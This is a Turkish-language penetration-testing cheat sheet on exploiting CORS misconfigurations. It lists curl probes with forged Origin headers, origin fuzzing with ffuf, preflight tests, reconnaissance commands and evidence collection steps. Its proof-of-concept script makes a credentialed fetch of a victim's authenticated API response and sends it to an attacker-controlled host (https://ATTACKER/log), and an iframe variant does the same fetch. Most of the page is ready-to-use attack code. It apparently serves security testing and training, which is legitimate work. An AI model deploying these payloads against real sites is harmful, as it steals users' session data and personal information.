CORS Bypass
web browser
CORS, tarayıcının cross-origin yanıt okumasını kontrol eder. Access-Control-Allow-Origin
yansıyan Origin + Allow-Credentials: true = oturumlu API’den veri çalma.
Metodoloji
Section titled “Metodoloji”-
API yanıtlarında ACAO / ACAC header’larını ölç.
-
Evil Origin, null, subdomain ve typo varyantlarını dene.
-
Credentialed fetch PoC ile hassas JSON kanıtla.
-
XSS veya attacker sayfası ile zincirle.
curl -skI https://TARGET/api/me -H 'Origin: https://evil.com'curl -skI https://TARGET/api/me -H 'Origin: null'curl -skI https://TARGET/api/me -H 'Origin: https://TARGET.evil.com'curl -skI https://TARGET/api/me -H 'Origin: https://target.com.evil.com'Tehlikeli yanıt
Section titled “Tehlikeli yanıt”Access-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: trueACAO: * + ACAC: true → tarayıcı reddeder; yine de misconfig işaretiPoC sayfası
Section titled “PoC sayfası”<script>fetch('https://TARGET/api/me', {credentials:'include'}) .then(r => r.text()) .then(t => fetch('https://ATTACKER/log?d='+encodeURIComponent(t)))</script><iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>fetch('https://TARGET/api/me',{credentials:'include'}).then(r=>r.text()).then(alert)</script>"></iframe>Origin varyantları
Section titled “Origin varyantları”https://evil.comnullhttps://TARGET.attacker.comhttps://attackerTARGEThttp://TARGET (http→https trust)ffuf -u https://TARGET/api/me -H 'Origin: FUZZ' -w origins.txt -mr 'Access-Control-Allow-Origin'Preflight
Section titled “Preflight”curl -skI -X OPTIONS https://TARGET/api/me \ -H 'Origin: https://evil.com' \ -H 'Access-Control-Request-Method: PUT' \ -H 'Access-Control-Request-Headers: X-Custom'Checklist
Section titled “Checklist”[ ] ACAO yansıması / null[ ] ACAC true[ ] Credentialed fetch PoC[ ] Hassas veri kanıtıEk keşif komutları
Section titled “Ek keşif komutları”curl -sk https://TARGET/robots.txtcurl -sk https://TARGET/sitemap.xmlffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403nuclei -u https://TARGET -as -silentGET / HTTP/1.1Host: TARGETAccept: */*Kanıt toplama
Section titled “Kanıt toplama”mkdir -p evidence/web && tee evidence/web/notes.txtrequest/responsezaman damgasıkullanılan hesapetki özeticurl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html